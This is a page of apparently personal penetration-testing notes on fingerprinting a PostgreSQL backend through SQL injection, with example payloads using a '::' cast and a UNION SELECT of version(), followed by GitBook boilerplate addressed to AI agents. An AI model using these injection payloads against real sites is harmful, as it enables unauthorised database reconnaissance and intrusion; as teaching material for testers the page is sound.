> For the complete documentation index, see [llms.txt](https://zeyad-abulaban.gitbook.io/notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://zeyad-abulaban.gitbook.io/notes/web-penetration-testing/web-vulns/sqli/postgresql.md). # PostgreSQL *** ## FingerPrinting need to carefully fingerprint the backend database engine. You can determine that the backend database engine is PostgreSQL by using the *::* cast operator. #### Examples ```txt http://www.example.com/store.php?id=1 AND 1::int=1 ``` In addition, the function *version()* can be used to grab the PostgreSQL banner. This will also show the underlying operating system type and version. **Example** ```txt http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1-- ``` An example of a banner string that could be returned is: ```txt PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4) ``` --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://zeyad-abulaban.gitbook.io/notes/web-penetration-testing/web-vulns/sqli/postgresql.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.